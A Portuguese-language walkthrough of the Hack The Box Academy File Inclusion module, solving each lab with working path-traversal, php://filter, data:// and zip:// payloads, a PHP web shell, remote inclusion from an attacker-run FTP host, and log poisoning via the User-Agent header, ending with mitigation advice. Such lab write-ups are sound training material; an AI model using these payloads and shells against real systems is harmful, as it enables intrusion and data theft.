Voltar ao início

Write-up: File Inclusion — Hack The Box Academy


Motivação

Esse write-up busca solucionar os desafios + o Skills Assessment propostos pelo módulo de File Inclusion da plataforma Hack The Box Academy que podem ser encontrados de maneira gratuita através deste link: https://academy.hackthebox.com/module/details/23

Este texto foi organizado de acordo com a ordem cronológica dos desafios.


O que é um LFI?

Segundo a OWASP a definição de LFI é a seguinte:

“A inclusão local de arquivos (também conhecida como LFI) é o processo de inclusão de arquivos, que já estão presentes localmente no servidor, por meio da exploração de procedimentos de inclusão vulneráveis implementados no aplicativo. Essa vulnerabilidade ocorre, por exemplo, quando uma página recebe, como entrada, o caminho para o arquivo que deve ser incluído e essa entrada não é devidamente higienizada, permitindo que caracteres de travessia de diretório (como ponto-ponto-barra) sejam injetados. Embora a maioria dos exemplos aponte para scripts PHP vulneráveis, devemos ter em mente que isso também é comum em outras tecnologias como JSP, ASP e outras.”


Uma explicação de humano para humanos:

Hoje com a universalização da internet e o fácil acesso a informações de qualquer lugar do mundo é possível acessar informação em qualquer idioma. É comum sites em vários idiomas para atender um público maior. Vamos levar esse site para nosso exemplo.

Imagine que temos um site exemplo.com.br e ele é escrito em português, inglês e espanhol, podemos mudar o idioma do site a qualquer momento através de sua URL:

Caso deseje ler em português basta apenas alterar o valor do parâmetro.

http://exemplo.com/index.php?idioma=pt.php

Ou em espanhol

http://exemplo.com/index.php?idioma=es.php

Ou em inglês

http://exemplo.com/index.php?idioma=en.php

O que podemos notar com esses três exemplos?

Notamos que a aplicação sempre requisita um arquivo interno para alterar o idioma da aplicação, logo podemos tentar encontrar uma vulnerabilidade de LFI e ter acesso a arquivos sensíveis.

Abaixo segue uma imagem uma ilustração que busca explicar o conceito:

Atacante requisita através do parâmetro php arquivos que não deveriam ser acessados.

Agora que entendemos de como funciona um LFI, vamos a resolução dos desafios!

Desafio 1 — Local File Inclusion (LFI)

Nosso primeiro desafio semelhante ao nosso exemplo, uma página com alguns textos e imagens, no caso o assunto da página é sobre contêineres. Vamos dar uma olhada nela.

É sempre importante durante o processo de busca por vulnerabilidades em um site buscar antes de tudo navegar pela aplicação, conhecer suas funcionalidades e possíveis endereços para aí sim traçar quais vulnerabilidades podem vir a existir na aplicação.

E durante nosso processo de reconhecimento vemos que é possível mudar o idioma do site e que ele sempre requisita um arquivo .php para mudar o idioma do site.

A URL fica no seguinte formato quando o idioma inglês é requisitado:

http://161.35.32.44:30577/index.php?language=en.php

A URL fica no seguinte formato quando o idioma espanhol é requisitado:

http://161.35.32.44:30577/index.php?language=es.php

Hummmm… interessante! Então ao passar um valor para o parâmetro language ele requisita um arquivo. E que tal testarmos se ele consegue ler o arquivo /etc/passwd do Linux?

Booyah! Após alguns testes finalmente conseguimos chegar ao nosso objetivo final e obter acesso ao nosso arquivo desejado! O payload final é mostrado abaixo:

../../../../etc/passwd

Com isso ele busca sair do diretório atual e chegar até o nosso destino.

A URL http://161.35.32.44:30577/index.php?language=../../../../etc/passwd nos mostra o conteúdo do arquivo na nossa tela.

Arquivo /etc/passwd sendo mostrado na tela

Analisando o código fonte da página com mais detalhes podemos encontrar a resposta da primeira pergunta que questiona o usuário no sistema que começa com “b”.

A resposta está no final, mas o print ficou cortado então não preciso ocultar! 🙂

Agora precisamos encontrar a flag para avançarmos nos desafios. Segundo a questão ela está sendo de /usr/share/flags em um arquivo de nome flag.txt

A imagem abaixo nos mostra a estrutura de pastas do Linux e para onde nos devemos deslocar para alcançar o objetivo.

Esquema de pastas do Linux.

Usando o payload ../../../../usr/share/flags/flag.txt finalmente conseguimos encontrar a flag e podemos avançar para o próximo desafio.

A URL da aplicação ficará igual a: http://161.35.32.44:30577/index.php?language=../../../../usr/share/flags/flag.txt

Nossa flag ali 🙂

Desafio 2 — Basic Bypasses

O nosso segundo desafio consiste na mesma aplicação, só que agora um pouco mais melhorada.

Agora ao invés de o parâmetro language receber apenas o nome do arquivo do idioma, agora ele recebe o nome de um diretório + o nome do arquivo de idioma.

Precisamos buscar maneiras de dar um bypass (passar, contornar, desviar) essa função.

Uma maneira que podemos testar se o nosso payload realmente está funcionando é chamando o próprio arquivo que é utilizado pela a aplicação, caso ocorra nenhum problema significa que nosso payload está funcionando normalmente.

Logo ele ficaria igual a: language=languages/….//languages/en.php

Note que ao acessar a URL http://209.97.176.220:30849/index.php?language=languages/….//languages/en.php o site funciona normalmente, então estamos no caminho certo! Agora só precisamos melhorar nosso payload para atingir o objetivo.

Ajustado o payload temos o seguinte resultado: language=languages/….//….//….//….//….//….//….//….//flag.txt

Ao acessar a URL vemos a nossa flag: http://209.97.176.220:30849/index.php?language=languages/….//….//….//….//….//….//….//….//flag.txt

E aqui temos a nossa flag e podemos avançar!

Desafio 3 — PHP Filters

Agora indo para o terceiro desafio temos uma abordagem um pouco diferente: o uso de PHP Wrappers, nesta seção mais especificamente o uso de php://filter.

Mas o que são PHP Wrappers?

Segundo a documentação oficial do PHP:

“Um wrapper é um código adicional que informa ao fluxo como lidar com protocolos/codificações específicas.”

E o que são PHP Filters? Segundo um trecho da documentação:

PHP:php://filter é uma espécie de meta-wrapper projetado para permitir a aplicação de filtros a um stream no momento da abertura.

E o que seria streams? É o nome dado à transmissão de dados saindo de um ponto de origem ao destino, eles podem ter várias formas: um arquivo, uma conexão de rede TCP/IP ou UDP, uma entrada e saída de processamento de armazenamento de arquivos.

O desafio pede para que encontremos e leia um dos arquivos de configuração e envie a senha do banco de dados como resposta. Então “vamos apelar para a boa e velha força bruta!”

Utilizaremos a ferramenta ffuf para fazer um fuzzing para encontrar possíveis arquivos sensíveis que podem ser de nosso interesse. O comando é mostrado e explicado abaixo:

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://167.71.143.167:31334/FUZZ.php

  • w — Define qual wordlist será utilizada;
  • u — O endereço em que queremos fazer a busca por arquivos.
Resultado da ferramenta que encontrou o arquivo configure

Podemos ver que foi retornado um arquivo de um nome interessante: o configure.

Vamos ver o que ele nos traz!

Utilizamos o php://filter para ler o arquivo em base64 e mostrar o resultado na tela, nosso payload ficará semelhante a isso: php://filter/read=convert.base64-encode/resource=configure

Nossa URL ficará igual a: http://167.71.143.167:31334/index.php?language=php://filter/read=convert.base64-encode/resource=configure

Hummm… um texto em base64 (lembre-se sempre: base64 não é criptografia), vamos ver o de interessante esse arquivo nos trás. Primeiramente precisamos converter para texto claro, para isso basta acessar https://www.base64decode.org/ e ver o resultado.

Arquivo de configuração convertido para texto claro.

Podemos seguir em frente!


Desafio 4 — PHP Wrappers

Neste próximo desafio iremos nos aprofundar mais ainda no uso de PHP Wrappers, a sua definição já foi explicada anteriormente, porém posso retomar ela aqui:

Segundo a documentação oficial do PHP:

“Um wrapper é um código adicional que informa ao fluxo como lidar com protocolos/codificações específicas.”

Nosso alvo é o mesmo, sempre contendo um parâmetro que muda o idioma do site. Podemos observar isso na seguinte URL: http://138.68.153.165:30125/index.php?language=en.php

Site mudando de idioma de acordo com o valor do parâmetro de language.

Podemos criar uma shell simples pelo o próprio terminal. Segue o exemplo abaixo.

echo '<?php system($_GET["cmd"]); ?>' | base64

Digitando o texto no terminal o resultado deverá ser igual a este:

Resultado da saída do terminal.

Lembre-se: esse $_GET[‘cmd’] é onde devemos passar nossos comandos para o servidor via URL. Você pode saber mais sobre os parâmetros HTTP acessando este link: https://www.devmedia.com.br/_post-e-_get-acessando-informacoes-de-formularios-em-php/38965

Nosso payload ficará igual a:

Uma breve explicação sobre nosso payload:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls
  • O data://text/plain especifica o tipo da mídia;
  • A presença de “base64” indica que os dados estão codificados como base64;
  • O PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D é a nossa shell criada anteriormente em base64;
  • E o &cmd=ls+/ é onde passamos via URL nossos comandos, no caso estamos listando os arquivos do diretório atual

E a sua URL igual a:

http://138.68.153.165:30125/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls

Você pode saber mais sobre assunto da “RFC 2397 — The “data” URL scheme” acessando ela através deste link: http://www.faqs.org/rfcs/rfc2397.html

Vimos que a aplicação responde aos nossos comandos, então podemos ir atrás da flag.

Nosso payload que lista os arquivos do diretório /:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls+/

URL final:

http://138.68.153.165:30125/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=ls+/

Vemos um arquivo interessante de nome 37809e2f8952f06139011994726d9ef1.txt. Que tal conferirmos o que tem dentro dele?

Vamos usar nosso payload par exibir o conteúdo:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=cat+/37809e2f8952f06139011994726d9ef1.txt

URL final:

http://138.68.153.165:30125/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=cat+/37809e2f8952f06139011994726d9ef1.txt

Boa! Encontramos nosso flag e podemos avançar!


Desafio 5 — Remote File Inclusion (RFI)

O que é RFI?

Segundo a OWASP:

“A inclusão remota de arquivos (também conhecida como RFI) é o processo de inclusão de arquivos remotos por meio da exploração de procedimentos de inclusão vulneráveis implementados no aplicativo. Essa vulnerabilidade ocorre, por exemplo, quando uma página recebe, como entrada, o caminho para o arquivo a ser incluído e essa entrada não é devidamente higienizada, permitindo a injeção de URL externa. Embora a maioria dos exemplos aponte para scripts PHP vulneráveis, devemos ter em mente que isso também é comum em outras tecnologias como JSP, ASP e outras.”

Vamos ao nosso alvo novamente, vemos que ele sempre solicita um arquivo interno para mudar o idioma do site, e se tentarmos solicitar que ele acesse o Google?

Ao acessar http://10.129.181.73/index.php?language=google.com notamos que o site retorna um erro, então podemos ter um possível RFI ali.

Agora precisamos criar a nossa shell, vamos criar um arquivo simples de nome shell.php (o nome pode ser o que você achar mais prático), o arquivo conterá o seguinte conteúdo:

<?php system($_GET['cmd']);?>

Agora vamos subir um servidor FTP simples. O comando para isso segue abaixo:

sudo python -m pyftpdlib -p 21

Nosso payload: ftp://10.10.14.107/shell.php&cmd=id

URL final: http://10.129.181.73/index.php?language=ftp://10.10.14.107/shell.php&cmd=id

Vamos usar o comando id para termos certeza de que a máquina responderá aos nossos comandos

E bingo! Ela respondeu!

Ao acessar a URL citada acima vemos abaixo no print que nosso arquivo foi requisitado com sucesso, então conseguimos nosso RFI.

Os endereços estão diferentes pois esqueci de tirar print dessa parte, mas a lógica segue a mesma.

Agora vamos verificar se a máquina responde aos comandos!

Nosso payload: language=ftp://10.10.14.107/shell.php&cmd=ls+/

URL final: http://10.129.181.73/index.php?language=ftp://10.10.14.107/shell.php&cmd=ls+/

E temos ali a resposta e uma pasta interessante! Podemos ir buscar a flag!

Nosso payload: ftp://10.10.14.107/shell.php&cmd=ls+/exercise

URL final: http://10.129.181.73/index.php?language=ftp://10.10.14.107/shell.php&cmd=ls+/exercise

E ali vemos um arquivo de nome flag.txt!

Nosso payload: ftp://10.10.14.107/shell.php&cmd=cat+/exercise/flag.txt

URL final: http://10.129.181.73/index.php?language=ftp://10.10.14.107/shell.php&cmd=cat+/exercise/flag.txt

E ali está a nossa flag! Seguimos!


Desafio 6 — LFI and File Uploads

Nosso alvo contém a mesma ideia de antes: uma URL (http://178.62.68.209:30489/index.php?language=en.php) que muda o idioma do site de acordo com o valor do parâmetro language! Porém temos uma novidade aqui, o site tem uma funcionalidade que te permite alterar a foto do perfil de usuário. Podemos nos aventurar aqui!

Ao acessar http://167.172.50.34:30263/settings.php podemos perceber um campo de formulário que nos permite alterar nossa foto, vamos testá-lo.

Tentamos enviar um arquivo inválido para ver o aplicação retornaria… e fomos bloqueados.

Criamos um arquivo de nome shell.zip

Dentro arquivo shell.zip conterá 2 arquivos: um de nome shell.php e outro shell.png!

O arquivo shell.php conterá o seguinte código

<?php
system($_GET['cmd']);
?>

Agora renomeamos o arquivo para shell.jpg e vamos submeter para o site!

Bingo! O site aceitou nosso arquivo!

Poderíamos usar o Burp para ver qual o nome da imagem que o sistema retornou para nós, porém nesse caso também é possível visualizar através do DevTools do Chrome. E ali está nosso nome!

Agora é hora de explorar, nosso payload ficará da seguinte forma: zip://./profile_images/shell.jpg%23shell.php&cmd=id

Nossa URL ficará igual a: http://178.62.68.209:30489/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Primeiramente vamos verificar se tudo deu certo e nossos comandos são respondidos!

Nosso payload que lista os arquivos do diretório /: language=zip://./profile_images/shell.jpg%23shell.php&cmd=ls+/

URL final: http://178.62.68.209:30489/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=ls+/

Vemos um arquivo interessante! Vamos dá uma olhada!

Nosso payload:

language=zip://./profile_images/shell.jpg%23shell.php&cmd=cat+/2f40d853e2d4768d87da1c81772bae0a.txt

URL final:

http://178.62.68.209:30489/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=cat+/2f40d853e2d4768d87da1c81772bae0a.txt

E mais uma flag para nós!


Desafio 7 — Log Poisoning

Agora precisamos explorar um Log Poisoning, mas o que seria isso?

É uma técnica que permite alterar o conteúdo do arquivo de log, como inserir o código malicioso nos logs do servidor para executar comandos remotamente. Tal técnica é possível quando a aplicação está vulnerável a LFI.

Em nosso exemplo ao acessar a URL http://134.122.100.114:31772/index.php?language=../../../../etc/passwd podemos ver que a aplicação se encontra vulnerável pois tivemos acesso ao arquivo passwd!

Agora vamos atrás do arquivo de acess.log do Apache!

Nosso payload: language=../../../../var/log/apache2/access.log

URL final: http://134.122.100.114:31772/index.php?language=../../../../var/log/apache2/access.log

Como podemos ver o arquivo é mostrado em nossa tela!

Pegamos o nosso request e inserimos o seguinte trecho de código no header do user agent:

<?php
system($_GET['cmd']);
?>

Dica: use o atalho Ctrl + R para jogar todos os requests para o Repeater!

Clicamos em Send e nosso request foi enviado!

Agora precisamos responder a pergunta do desafio que pede para em seguida, enviar a saída do comando pwd!

Basta apenas após acess.log adicionar &cmd=pwd! Todos os passos estão destacados nas imagens abaixo!

Clicamos em Send e nosso request foi enviado!

E bingo, temos mais uma resposta!

Agora vamos procurar a flag! Ela se encontra em /, basta apenas que alteremos o valor de cmd para ls+/

Vimos acima um arquivo de nome interessante, vamos ver o que ele nos diz! Precisamos apenas que alteremos o valor de cmd para cat+/nomedoarquivo.txt

Agora vamos para o próximo desafio!


Desafio 8— Automated Scanning

Agora que já entendemos como funciona um LFI e como podemos explorar ele, agora vamos procurar maneiras de automatizar o processo de busca dessa vulnerabilidade.

Precisamos encontrar parâmetros que não estariam de certa forma disponíveis de maneira usual aos usuários, logo vamos começar uma busca atrás deles em busca de possíveis resultados positivos.

A ferramenta ffuf pode nos ajudar em nossa tarefa, abaixo segue o comando utilizado e uma breve explicação sobre seu uso

sudo ffuf -w burp-parameter-names.txt:FUZZ -u “http://167.99.197.230:31667/index.php?FUZZ=value” -fs 2309 > saida.txt

  • w — Define qual wordlist será utilizada;
  • u — O endereço em que queremos fazer a busca por possíveis parâmetros;
  • fs — Filtra o tamanho da resposta HTTP;
  • > saida.txt — Armazena o resultado do scan da aplicação em um arquivo de texto.

Damos um cat no arquivo para ver o que ele nos retorna… e humm…. um parâmetro novo de nome view! O que ele pode nos trazer?

E lá vamos nós de novo para o ffuf. Agora vamos usar a wordlist de payloads LFI de nome LFI-Jhaddix.txt disponível em: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

O comando é demonstrado abaixo e caso deseje revisar a explicação do mesmo basta subir um pouco!

ffuf -w LFI-Jhaddix.txt:FUZZ -u “http://167.99.197.230:31667/index.php?view=FUZZ” -fs 1935

Tela do ffuf.
Resultados encontrados.

E bingo! Ele encontrou vários payloads que funcionam, vamos pegar o primeiro e testar.

Nosso payload: view=../../../../../../../../../../../../../../../../../../../../../etc/passwd

URL final: http://167.99.197.230:31667/index.php?view=../../../../../../../../../../../../../../../../../../../../../etc/passwd

Conseguimos nosso LFI! Agora vamos atrás da flag!

Nosso payload: http://167.99.197.230:31667/index.php?view=../../../../../../../../../../../../../../../../../../../../../flag.txt

URL final: http://167.99.197.230:31667/index.php?view=../../../../../../../../../../../../../../../../../../../../../flag.txt

Boa! Ali está nossa flag e agora é só correr para o abraço!

Desafio 9— File Inclusion Prevention

Nesse desafio ele pede para encontrarmos o caminho completo do arquivo php.ini do Apache, podemos usar comandos do Linux para nos ajudar nessa tarefa. Abaixo segue o uso do comando find.

sudo find / -name php.ini

Rápida explicação do comando find:

  • / — Diretório de onde a pesquisa deve iniciar, em nosso caso a partir do diretório inicial do sistema;
  • -name — Nome do arquivo a ser procurado.
Resultado da chamada da função find.

A segunda questão questiona de qual mensagem é exibida nos logs de erros do Apache quando a função system é desabilitada no php.ini. Abaixo temos um exemplo simples de um código de uma chamada para saber o usuário atual e listar as interfaces de rede.

<pre>
<?php
system("whoami");
system("ip a");
?>
</pre>

Aqui o resultado sendo exibido na tela antes de desabilitar:

Após desabilitar a função system (o Apache precisa ser reiniciado para que as alterações funcionem) e tentar o executar o arquivo novamente nada aparece na tela e temos a seguinte linha nos arquivos de log:


Desafio 10 (Teste Final) — Skills Assessment — File Inclusion

E chegamos agora ao nosso último desafio onde vamos colocar tudo que aprendemos até aqui em prática.

Ao acessar o site podemos notar algo interessante, sempre que mudamos de página o valor do parâmetro page é alterado, como nesse caso em que acessamos a página “Sobre” do site através da URL: http://138.68.166.146:30009/index.php?page=about

Agora que descobrimos os parâmetros que requisitam os arquivos vamos usar um PHP Wrapper para explorar a vulnerabilidade. Nosso payload irá requistar a página de index do site!

Nosso payload: page=php://filter/read=convert.base64-encode/resource=index

Nossa URL: http://138.68.166.146:30009/index.php?page=php://filter/read=convert.base64-encode/resource=index

Opa, ele nos trouxe algo interessante. Vamos olhar com mais calma!

Buscamos visualizar o código fonte da página para uma melhor análise e copiamos o valor retornado.

Mais uma vez o site https://www.base64decode.org/ salvando nossas vidas, copiamos nosso dado no site e clicamos em Decode e… interessante, um endereço para uma página de administrador que foi deixado como comentário no código fonte pelo desenvolvedor. Vamos ver o que de interessante essa página nos trás

Ao acessar http://138.68.166.146:30009/ilf_admin/index.php somos direcionados para a página do administrador em que é possível monitorar os logs do sistema.

Ao acesar http://138.68.166.146:30009/ilf_admin/index.php?log=http.log notamos algo interessante, o valor do parâmetro log sempre é alterado para requisitar um arquivo diferente. Sabe o que vem ànossa mente? Isso mesmo: LFI!

Podemos agora tentar um LFI através do parâmetro log. Vamos tentar primeiro ler o arquivo passwd para testar nosso payload.

Nosso payload: log=../../../../../../../../../../../../../../../../../../../../../etc/passwd

URL final: http://138.68.166.146:30009/ilf_admin/index.php?log=../../../../../../../../../../../../../../../../../../../../../etc/passwd

Ótimo! O resultado aparece em nossa tela e no final em destaque podemos notar algo interessante: aparentemente o servidor está rodando um Nginx! Vamos olhar um pouco mais a fundo e confirmar essa suspeita.

Agora vamos atrás dos arquivos do Nginx!

Nosso payload: log=../../../../../../../etc/nginx/nginx.conf

URL final: http://138.68.166.146:30009/ilf_admin/index.php?log=../../../../../../../etc/nginx/nginx.conf

E como desconfiamos o servidor realmente está rodando o software e ainda nos forneceu dois arquivos valiosos: access.log e error.log.

Com essas informações em mãos podemos pensar em possíveis meios para atacar essa aplicação!

Agora vamos atrás do access.log! Alguns testes e encontramos nosso payload!

Nosso payload: log=../../../../../../../../../../../../../../../../../../../../../var/log/nginx/access.log

URL final: http://138.68.166.146:30009/ilf_admin/index.php?log=../../../../../../../../../../../../../../../../../../../../../var/log/nginx/access.log

Bingo! O payload funcionou e o arquivo está sendo exibido na nossa tela, agora vamos tentar um Log Poisoning. Jogamos nossa requisição para o Burp.

Primeiro vamos passar nossa shell via User-Agent, o código dela é esse:

<?php
system($_GET['cmd']);
?>

Clicamos em Send e bingo!

Podemos verificar se nossa shell está funcionando perfeitamente enviado o seguinte comando: &cmd=id

E como visto no print ele retornou com sucesso o que queríamos.

Agora basta apenas listar os arquivos de / através do comando &cmd=ls+/

Achamos um arquivo interessante de nome flag_dacc60f2348d.txt, vamos ver o que ele nos traz

Agora vamos mover o arquivo da flag para o diretório da /var/www/html para uma melhor visualização dela e facilitar nossa vida!

Basta apenas passar este valor: &cmd=cp+/flag_dacc60f2348d.txt+/var/www/html

Ao acessar a URL http://138.68.166.146:30009/flag_dacc60f2348d.txt conseguimos ver a flag na nossa tela! Bingo! Finalmente depois de muito sofrimento concluímos totalmente o módulo de File Inclusion


Extra

Caso tenha dificuldades em saber o que um comando faz, o site https://explainshell.com/ e https://www.shell.how/ podem ser uma mão na roda durante o seu processo de aprendizagem.


Como corrigir essa vulnerabilidade?

O código vulnerável do último desafio é este:

<?php
if(!isset($_GET['page'])) {
include "main.php";
}

else {
$page = $_GET['page'];

if (strpos($page, "..") !== false) {
include "error.php";
}

else {
include $page . ".php";
}
}
?>

Então como mitigar a falha?

  • Utilizar uma lista branca de arquivos permitidos, além de verificar os caminhos e ignorar qualquer coisa diferente disso;
  • Valide toda e qualquer entrada vinda do usuário;
  • Restrinja as permissões de execução para diretórios de upload;
  • Defina que a aplicação tenha acesso a apenas arquivos que ela realmente necessite;
  • Desabilitar funções que não sejam úteis para a aplicação, como por exemplo a system() e outras que não sejam utilizadas.

Esta e outras maneiras podem ajudar a diminuir o risco de um LFI bem sucedido.


Conclusões

Assim como na vida a dedicação e perseverança foram fundamentais para superar os obstáculos e resolver os desafios propostos.

Certamente foi bastante gratificante e engrandecedor aprender coisas novas e melhorar as técnicas para usar em outros desafios e na vida real.

Resolver os desafios expandiu minha mente e meus horizontes!

#KeepHacking

#KeepLearning